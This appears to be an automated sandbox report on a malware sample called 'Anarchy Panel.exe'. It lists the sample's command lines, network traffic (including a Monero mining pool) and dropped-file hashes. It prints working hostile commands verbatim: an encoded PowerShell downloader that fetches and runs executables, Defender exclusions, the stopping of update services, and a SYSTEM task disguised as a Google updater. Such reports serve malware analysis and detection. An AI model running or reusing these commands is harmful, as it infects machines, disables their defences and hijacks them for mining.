C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineCPS"

C:\Program Files\Google\Chrome\updaters.exe

"C:\Program Files\Google\Chrome\updaters.exe"

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAaQBrACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABhAGsAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYgBkAHQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbABkAGMAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAG4AaQBwAGsAdgAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAegB3AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBxAGkAYgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBsAGgAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAeABmAGgAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAeQBrAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAZQB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB0AGkAegAjAD4A"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\dialer.exe

C:\Windows\System32\dialer.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hgkvzf#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineCPS' /tr '''C:\Program Files\Google\Chrome\updaters.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updaters.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineCPS' -User 'System' -RunLevel 'Highest' -Force; }

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 35.146.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 rentry.org udp
LU 198.251.88.130:443 rentry.org tcp
US 8.8.8.8:53 bitbucket.org udp
US 104.192.141.1:443 bitbucket.org tcp
US 8.8.8.8:53 1.141.192.104.in-addr.arpa udp
US 8.8.8.8:53 130.88.251.198.in-addr.arpa udp
US 20.42.72.131:443 tcp
US 209.197.3.8:80 tcp
NL 173.223.113.164:443 tcp
NL 173.223.113.131:80 tcp
US 204.79.197.203:80 api.msn.com tcp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 86.8.109.52.in-addr.arpa udp
US 209.197.3.8:80 tcp
US 8.8.8.8:53 xmr-eu1.nanopool.org udp
NL 51.15.78.68:14433 xmr-eu1.nanopool.org tcp
US 8.8.8.8:53 68.78.15.51.in-addr.arpa udp
US 8.8.8.8:53 rentry.org udp
LU 198.251.88.130:443 rentry.org tcp
US 8.8.8.8:53 bitbucket.org udp
US 104.192.141.1:443 bitbucket.org tcp

Files

memory/1452-133-0x0000000004A00000-0x0000000004A10000-memory.dmp

memory/1452-134-0x0000000004970000-0x00000000049A6000-memory.dmp

memory/1452-135-0x0000000005040000-0x0000000005668000-memory.dmp

memory/1452-136-0x0000000004A00000-0x0000000004A10000-memory.dmp

memory/1452-137-0x0000000004FC0000-0x0000000004FE2000-memory.dmp

memory/1452-138-0x00000000058A0000-0x0000000005906000-memory.dmp

memory/1452-139-0x0000000005910000-0x0000000005976000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n22bdy5l.wsg.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1452-149-0x0000000005F50000-0x0000000005F6E000-memory.dmp

memory/1452-150-0x0000000004A00000-0x0000000004A10000-memory.dmp

memory/1452-151-0x0000000006F10000-0x0000000006F42000-memory.dmp

memory/1452-152-0x00000000704A0000-0x00000000704EC000-memory.dmp

memory/1452-162-0x0000000006520000-0x000000000653E000-memory.dmp

memory/1452-163-0x000000007F270000-0x000000007F280000-memory.dmp

memory/1452-164-0x00000000078D0000-0x0000000007F4A000-memory.dmp

memory/1452-165-0x0000000007290000-0x00000000072AA000-memory.dmp

memory/1452-166-0x00000000072E0000-0x00000000072EA000-memory.dmp

memory/1452-167-0x0000000007530000-0x00000000075C6000-memory.dmp

memory/1452-168-0x00000000074B0000-0x00000000074BE000-memory.dmp

memory/1452-169-0x0000000007500000-0x000000000751A000-memory.dmp

memory/1452-170-0x00000000074F0000-0x00000000074F8000-memory.dmp

memory/1452-171-0x0000000004A00000-0x0000000004A10000-memory.dmp

memory/1452-172-0x0000000007790000-0x00000000077B2000-memory.dmp

memory/1452-173-0x0000000008500000-0x0000000008AA4000-memory.dmp

memory/1452-174-0x0000000004A00000-0x0000000004A10000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm0.exe

MD5 d1529aa798dfc7fe269926f5594b467b
SHA1 99f46134e97b9f7468ad7ab7c3a79cc3b8260664
SHA256 958a77c3267fb67c8dc97fc0045308fb492a04a32dd9de7178de813a78ac3cc3
SHA512 5d06d227a4652b4206dfa5f8cae3bc8b220de135cd715f960b89fb81e8c66b71ad7196f72e16139d5734f4e0ba827c31faeaa091376daf29b28a2ce34b8ecb41

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm0.exe

MD5 d1529aa798dfc7fe269926f5594b467b
SHA1 99f46134e97b9f7468ad7ab7c3a79cc3b8260664
SHA256 958a77c3267fb67c8dc97fc0045308fb492a04a32dd9de7178de813a78ac3cc3
SHA512 5d06d227a4652b4206dfa5f8cae3bc8b220de135cd715f960b89fb81e8c66b71ad7196f72e16139d5734f4e0ba827c31faeaa091376daf29b28a2ce34b8ecb41

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm0.exe

MD5 d1529aa798dfc7fe269926f5594b467b
SHA1 99f46134e97b9f7468ad7ab7c3a79cc3b8260664
SHA256 958a77c3267fb67c8dc97fc0045308fb492a04a32dd9de7178de813a78ac3cc3
SHA512 5d06d227a4652b4206dfa5f8cae3bc8b220de135cd715f960b89fb81e8c66b71ad7196f72e16139d5734f4e0ba827c31faeaa091376daf29b28a2ce34b8ecb41

memory/1452-187-0x0000000004A00000-0x0000000004A10000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe

MD5 5f2f1ae240812065799e8c05d3a01aa7
SHA1 e14d1c6a64f27267c688b695da84b7a9527a3d13
SHA256 adad69d9a6bf24c7739cc25cf4def1b96d05accc349ed86e9200d404c039ad03
SHA512 d92339a954509b988b6eb3b7508182a7773489aa27ed88ddaf6c5f3a3f26f345c8463bf688b40cc99b9728bc47c1b4e1ad8175a9e07fe576a216c9521cb07f50

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe

MD5 5f2f1ae240812065799e8c05d3a01aa7
SHA1 e14d1c6a64f27267c688b695da84b7a9527a3d13
SHA256 adad69d9a6bf24c7739cc25cf4def1b96d05accc349ed86e9200d404c039ad03
SHA512 d92339a954509b988b6eb3b7508182a7773489aa27ed88ddaf6c5f3a3f26f345c8463bf688b40cc99b9728bc47c1b4e1ad8175a9e07fe576a216c9521cb07f50

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm2.exe

MD5 17d1a593f7481f4a8cf29fb322d6f472
SHA1 a24d8e44650268f53ca57451fe564c92c0f2af35
SHA256 f837127a9ca8fb7baed06ec5a6408484cb129e4e33fa4dc6321097240924078c
SHA512 8c6617cceb98c0d42abea528419038f3d8ffc9001fc6a95ce8706d587365132b7b905d386a77767f3b6984bbce4fd2f43d9615a6dd695ee70c9fac938f130849

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm2.exe

MD5 17d1a593f7481f4a8cf29fb322d6f472
SHA1 a24d8e44650268f53ca57451fe564c92c0f2af35
SHA256 f837127a9ca8fb7baed06ec5a6408484cb129e4e33fa4dc6321097240924078c
SHA512 8c6617cceb98c0d42abea528419038f3d8ffc9001fc6a95ce8706d587365132b7b905d386a77767f3b6984bbce4fd2f43d9615a6dd695ee70c9fac938f130849

memory/1452-202-0x000000007F270000-0x000000007F280000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm2.exe

MD5 17d1a593f7481f4a8cf29fb322d6f472
SHA1 a24d8e44650268f53ca57451fe564c92c0f2af35
SHA256 f837127a9ca8fb7baed06ec5a6408484cb129e4e33fa4dc6321097240924078c
SHA512 8c6617cceb98c0d42abea528419038f3d8ffc9001fc6a95ce8706d587365132b7b905d386a77767f3b6984bbce4fd2f43d9615a6dd695ee70c9fac938f130849

memory/3096-206-0x000001766A330000-0x000001766A352000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 e6bc0d96424994de0657934e63a3ebc1
SHA1 7bc86f081c78ac02ee0c24ac760c5e2fafb26253
SHA256 73a75a094d7be5e9cef5f520c19d6540c2da0ac463bf2ef363f2752cdf671b14
SHA512 bba284d520189d91c96bda92c4fd65fb410bc98edfad733c95bcbc0d894d771fab37a9e10de32b12004abc24a892fd45c7ca28b69905adeade9dd6b8b24930e0

memory/3096-217-0x00000176688F0000-0x0000017668900000-memory.dmp

memory/3096-218-0x00000176688F0000-0x0000017668900000-memory.dmp

memory/3096-219-0x00000176688F0000-0x0000017668900000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

memory/1700-224-0x00007FF8B8BF0000-0x00007FF8B8DE5000-memory.dmp

memory/1700-226-0x00007FF8B6F90000-0x00007FF8B704E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a7ce8cefc3f798abe5abd683d0ef26dd
SHA1 b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512 c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64

memory/2308-237-0x0000021C9CE20000-0x0000021C9CE30000-memory.dmp

memory/2308-238-0x0000021C9CE20000-0x0000021C9CE30000-memory.dmp

memory/624-239-0x0000027B6BD00000-0x0000027B6BD21000-memory.dmp

memory/624-241-0x0000027B6BD30000-0x0000027B6BD57000-memory.dmp

memory/684-243-0x000001DC47B60000-0x000001DC47B87000-memory.dmp

memory/624-244-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/964-250-0x00000229BC840000-0x00000229BC867000-memory.dmp

memory/684-247-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/380-251-0x0000023F652A0000-0x0000023F652C7000-memory.dmp

memory/1496-248-0x00007FF70CC40000-0x00007FF70D20C000-memory.dmp

memory/380-255-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/964-254-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/408-256-0x000001A7770F0000-0x000001A777117000-memory.dmp

memory/672-262-0x0000017F72D60000-0x0000017F72D87000-memory.dmp

memory/408-261-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/1700-260-0x00007FF6B0570000-0x00007FF6B0599000-memory.dmp

memory/1036-267-0x000001523FAF0000-0x000001523FB17000-memory.dmp

memory/1036-271-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/1052-273-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/1052-270-0x0000017469B00000-0x0000017469B27000-memory.dmp

memory/624-272-0x0000027B6BD30000-0x0000027B6BD57000-memory.dmp

memory/672-266-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/684-275-0x000001DC47B60000-0x000001DC47B87000-memory.dmp

memory/1128-279-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/964-278-0x00000229BC840000-0x00000229BC867000-memory.dmp

memory/380-280-0x0000023F652A0000-0x0000023F652C7000-memory.dmp

memory/1128-277-0x000001B7F62A0000-0x000001B7F62C7000-memory.dmp

memory/408-281-0x000001A7770F0000-0x000001A777117000-memory.dmp

memory/672-283-0x0000017F72D60000-0x0000017F72D87000-memory.dmp

memory/1208-289-0x000001B8107D0000-0x000001B8107F7000-memory.dmp

memory/1052-288-0x0000017469B00000-0x0000017469B27000-memory.dmp

memory/1228-290-0x00000222F2F40000-0x00000222F2F67000-memory.dmp

memory/1208-291-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/1036-286-0x000001523FAF0000-0x000001523FB17000-memory.dmp

memory/1228-292-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/1360-300-0x000001785C8E0000-0x000001785C907000-memory.dmp

memory/1324-299-0x0000021B317B0000-0x0000021B317D7000-memory.dmp

memory/1324-302-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/1360-303-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/1408-306-0x00000223F8030000-0x00000223F8057000-memory.dmp

memory/1408-309-0x00007FF878C70000-0x00007FF878C80000-memory.dmp

memory/1128-330-0x000001B7F62A0000-0x000001B7F62C7000-memory.dmp

memory/1228-332-0x00000222F2F40000-0x00000222F2F67000-memory.dmp

memory/1324-335-0x0000021B317B0000-0x0000021B317D7000-memory.dmp

memory/1360-340-0x000001785C8E0000-0x000001785C907000-memory.dmp

memory/1408-343-0x00000223F8030000-0x00000223F8057000-memory.dmp

memory/1428-352-0x000001EACE5D0000-0x000001EACE5F7000-memory.dmp

memory/1440-347-0x000001A913C90000-0x000001A913CB7000-memory.dmp

memory/1556-357-0x000002C3C28A0000-0x000002C3C28C7000-memory.dmp

memory/1588-362-0x000001A31F780000-0x000001A31F7A7000-memory.dmp

memory/1660-367-0x0000023B16F80000-0x0000023B16FA7000-memory.dmp

C:\Windows\system32\drivers\etc\hosts

MD5 23fe306d33dea7acaf8d7adb3ebcf88c
SHA1 048a537ecf8d7949c5112950eccb4ff0941d00f3
SHA256 0fd245bfb504d1d1960d46680cc6aa01597747ff6c9bb37cc2b0101bc36f5f5c
SHA512 f7ce42890a53cfa1266966e97c2f31ab272a23cfec2b5750757887dda38b7ad224c27949f3bc2d6be7d5a6400f4391a908c2e1aea6c8db193f89f7764f87c7b1

memory/1808-376-0x000001F5B29D0000-0x000001F5B29F7000-memory.dmp

memory/1772-371-0x00000197F7DA0000-0x00000197F7DC7000-memory.dmp

memory/1868-381-0x0000018FBA7D0000-0x0000018FBA7F7000-memory.dmp

memory/2308-385-0x0000021C9CE20000-0x0000021C9CE30000-memory.dmp

memory/1968-387-0x0000028168D70000-0x0000028168D97000-memory.dmp

memory/1976-395-0x0000019BF5FD0000-0x0000019BF5FF7000-memory.dmp

memory/2044-392-0x0000000001510000-0x0000000001537000-memory.dmp

memory/2076-398-0x000002AA3B330000-0x000002AA3B357000-memory.dmp

memory/2136-399-0x000002AA66940000-0x000002AA66967000-memory.dmp

memory/2424-401-0x0000017ED70A0000-0x0000017ED70C7000-memory.dmp

memory/2316-400-0x0000017B4CBD0000-0x0000017B4CBF7000-memory.dmp

memory/1676-462-0x000001C510BB0000-0x000001C510BD7000-memory.dmp

memory/1852-466-0x000002329BFC0000-0x000002329BFE7000-memory.dmp

memory/2324-469-0x000002855C5C0000-0x000002855C5E7000-memory.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8E77.tmp.csv

MD5 fc4eeeed6a50b560df301a5362c42e5d
SHA1 56d3199e94a036251f9918b8129371bc57593ed6
SHA256 f708d779e5049ceaae7f3181c908df28aa4d7240068193673d52be13588ea766
SHA512 e1ed88a219b76e92a449bf427eb55aaeb0e43eefa79913e15a2cfc407db64de052d4a49109c9acdd8cfa9829e69f322a7d603503363e814fca0d1a4d4ceb499d

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8F05.tmp.txt

MD5 72e031233ff2e44109b9f7d12c6a8c1f
SHA1 7a5725fe48b5a9647d49de78c471cac0a6894d8c
SHA256 de8a40b5ea92f3c083682354fac434d8fc4b968d16335226d09ccbf928373af2
SHA512 60fc13ff611fa93332b12d374923112c26b22ca0d53a423e343839b6f862473b4ff53702a8c1d8589f1199503167d9d0bb0c400abc7539cc96f75a9bd823aff9

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8F04.tmp.csv

MD5 7c764b6af8be101cd645f89acc453a8c
SHA1 30cee9362f804018c8449ae4e253dac43310331e
SHA256 bef91cafe5064c93f5843f490e3d88fcec1b11f0fd80a03d1a5ebabfa5db38c0
SHA512 088d5d4b6ffa4baa50f39c1be292df33adda3f7d7e9f2cb5589da4983b8b6a341cb1c032c90ae8c404bcc7e7569a6505758c89c992720e1f1bdb2b8822a7c7f4

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8F93.tmp.txt

MD5 17abaa1805f6f71ea2bf8af16877e7c5
SHA1 c0407de055d494330a4f45d60f6a1cf907a91568
SHA256 504733d3113b8ec46a4da823d439756342eecd1008bada27b8a9f27b13322bf9
SHA512 017bc8a456cdec1e2e166cfe8cbb1b5de0708012951abb33a9f954ec4d43d30d4a3209843a97ded3f0010b474e4d65905eb8f9366107a07f80602af73e59afec

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe

MD5 5f2f1ae240812065799e8c05d3a01aa7
SHA1 e14d1c6a64f27267c688b695da84b7a9527a3d13
SHA256 adad69d9a6bf24c7739cc25cf4def1b96d05accc349ed86e9200d404c039ad03
SHA512 d92339a954509b988b6eb3b7508182a7773489aa27ed88ddaf6c5f3a3f26f345c8463bf688b40cc99b9728bc47c1b4e1ad8175a9e07fe576a216c9521cb07f50

C:\Program Files\Google\Chrome\updaters.exe

MD5 5f2f1ae240812065799e8c05d3a01aa7
SHA1 e14d1c6a64f27267c688b695da84b7a9527a3d13
SHA256 adad69d9a6bf24c7739cc25cf4def1b96d05accc349ed86e9200d404c039ad03
SHA512 d92339a954509b988b6eb3b7508182a7773489aa27ed88ddaf6c5f3a3f26f345c8463bf688b40cc99b9728bc47c1b4e1ad8175a9e07fe576a216c9521cb07f50

C:\Program Files\Google\Chrome\updaters.exe

MD5 5f2f1ae240812065799e8c05d3a01aa7
SHA1 e14d1c6a64f27267c688b695da84b7a9527a3d13
SHA256 adad69d9a6bf24c7739cc25cf4def1b96d05accc349ed86e9200d404c039ad03
SHA512 d92339a954509b988b6eb3b7508182a7773489aa27ed88ddaf6c5f3a3f26f345c8463bf688b40cc99b9728bc47c1b4e1ad8175a9e07fe576a216c9521cb07f50

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b42c70c1dbf0d1d477ec86902db9e986
SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE238.tmp.csv

MD5 6f08f9cd813a1e9695948c5d2cae6587
SHA1 357d9520bd986fe55961b31cf374be2932f2778d
SHA256 f736b4e698d8483f2c0a3a44babb9fa2414a772c6e3bfb4c783d0c2ee551fd0f
SHA512 51e13afcf7c5a036096b77c0ed7e22d51ad5e30da3aa70604f603c9354d36b854210b1572d46b2768cc1926feb07ea16a733f6e20587de152e8f8510014ae622

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE287.tmp.txt

MD5 e56cd3b643ddd627a7e12e983c7dd7c9
SHA1 47b362b7ca207369863003436db275ca2e8f90cb
SHA256 7a598231115c323fe81c5e3ff3ae5e9f1547587ae2de23e9e7a23d40fbe864b1
SHA512 8383657bce0d289ea3e3e2697b61646a18f85218cbb375a756c73ea1bd401ca5be8d686ab4e2b9b14c93c38c3ff3dff663624db1e8e619a21d93ba2e33623fda

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE3E0.tmp.csv

MD5 9312745e333cf9d6a268535375ab465d
SHA1 9e54a0a32af820711f2746b497a7c69479243be7
SHA256 e6026a7c975d0894aa5b7ad7aa4ef2c421ed133dc5b54b59b28858ae22d63cb0
SHA512 578cb0bbb07691383ca63866a30af42117c5ebf8b88250b765bee6ef446be086fb20bfd005b659cdf30cbcf6ba626247caabc93cea8ca9760d26353e093191b2

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE41F.tmp.txt

MD5 ccb28b2503fc71cb915752a654eb0bb0
SHA1 d057d505359543a82d909e90c27d05543e219355
SHA256 290b459e5752dd3e3889a0be058ba0c96838cfb72bba9e432990ce54a9476c83
SHA512 f710a637a5078c5c096a5e6675fc0d54109e03ac796589887cc4b59735ac6be9c1e1707f300dff62e1c5c949900c41f5a12f16504b2bf3a2a37920e3c672311d

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

MD5 2e2438399cea0b0f04ba1174c7c3ab03
SHA1 0caf3c3e0ecb80b05aa76aed4d3c51110a87334c
SHA256 b9c40a8afc1d301edb72bc9a2c6b82df42760404534369b953891adec0410b3e
SHA512 af5bb6c829c32080afe20bfdf54c553758005511670f2a9a9fc74eebab538c818f679ebdf7a7b8902b17d19c3fa8a1050deeec6f15e6dc585633ee20101106f6

C:\Windows\system32\drivers\etc\hosts

MD5 23fe306d33dea7acaf8d7adb3ebcf88c
SHA1 048a537ecf8d7949c5112950eccb4ff0941d00f3
SHA256 0fd245bfb504d1d1960d46680cc6aa01597747ff6c9bb37cc2b0101bc36f5f5c
SHA512 f7ce42890a53cfa1266966e97c2f31ab272a23cfec2b5750757887dda38b7ad224c27949f3bc2d6be7d5a6400f4391a908c2e1aea6c8db193f89f7764f87c7b1

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm2.exe

MD5 17d1a593f7481f4a8cf29fb322d6f472
SHA1 a24d8e44650268f53ca57451fe564c92c0f2af35
SHA256 f837127a9ca8fb7baed06ec5a6408484cb129e4e33fa4dc6321097240924078c
SHA512 8c6617cceb98c0d42abea528419038f3d8ffc9001fc6a95ce8706d587365132b7b905d386a77767f3b6984bbce4fd2f43d9615a6dd695ee70c9fac938f130849

C:\Users\Admin\AppData\Roaming\WindowsHostProcessor\WindowsHostProcessor.exe

MD5 17d1a593f7481f4a8cf29fb322d6f472
SHA1 a24d8e44650268f53ca57451fe564c92c0f2af35
SHA256 f837127a9ca8fb7baed06ec5a6408484cb129e4e33fa4dc6321097240924078c
SHA512 8c6617cceb98c0d42abea528419038f3d8ffc9001fc6a95ce8706d587365132b7b905d386a77767f3b6984bbce4fd2f43d9615a6dd695ee70c9fac938f130849

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe

MD5 5f2f1ae240812065799e8c05d3a01aa7
SHA1 e14d1c6a64f27267c688b695da84b7a9527a3d13
SHA256 adad69d9a6bf24c7739cc25cf4def1b96d05accc349ed86e9200d404c039ad03
SHA512 d92339a954509b988b6eb3b7508182a7773489aa27ed88ddaf6c5f3a3f26f345c8463bf688b40cc99b9728bc47c1b4e1ad8175a9e07fe576a216c9521cb07f50

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 2ac3c9ba89b8c2ef19c601ecebb82157
SHA1 a239a4b11438c00e5ff89ebd4a804ede6a01935b
SHA256 3c2714ce07f8c04b3f8222dfe50d8ae08f548b0e6e79fe33d08bf6f4c2e5143e
SHA512 b1221d29e747b37071761b2509e9109b522cce6411f73f27c9428ac332d26b9f413ae6b8c0aeac1afb7fab2d0b3b1c4af189da12fe506287596df2ef8f083432

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 4b7d83344ba024ab6c450140fd99baa0
SHA1 00045c7fc909858f5d185adc9b2d1f3eaf2fc7d8
SHA256 73da2dc85769187dd885659063ae31ba9108831eafc41ee17a30026135741afe
SHA512 5dc413d4fdf6eed878e5627be720e29c4aa81219c8065421bc2967d45cacffab92d9b8f8a008a7921aa582aad7a106d4b68aaf6ed410dcfffb65fd8d75fbbfc9

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm0.exe

MD5 d1529aa798dfc7fe269926f5594b467b
SHA1 99f46134e97b9f7468ad7ab7c3a79cc3b8260664
SHA256 958a77c3267fb67c8dc97fc0045308fb492a04a32dd9de7178de813a78ac3cc3
SHA512 5d06d227a4652b4206dfa5f8cae3bc8b220de135cd715f960b89fb81e8c66b71ad7196f72e16139d5734f4e0ba827c31faeaa091376daf29b28a2ce34b8ecb41

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
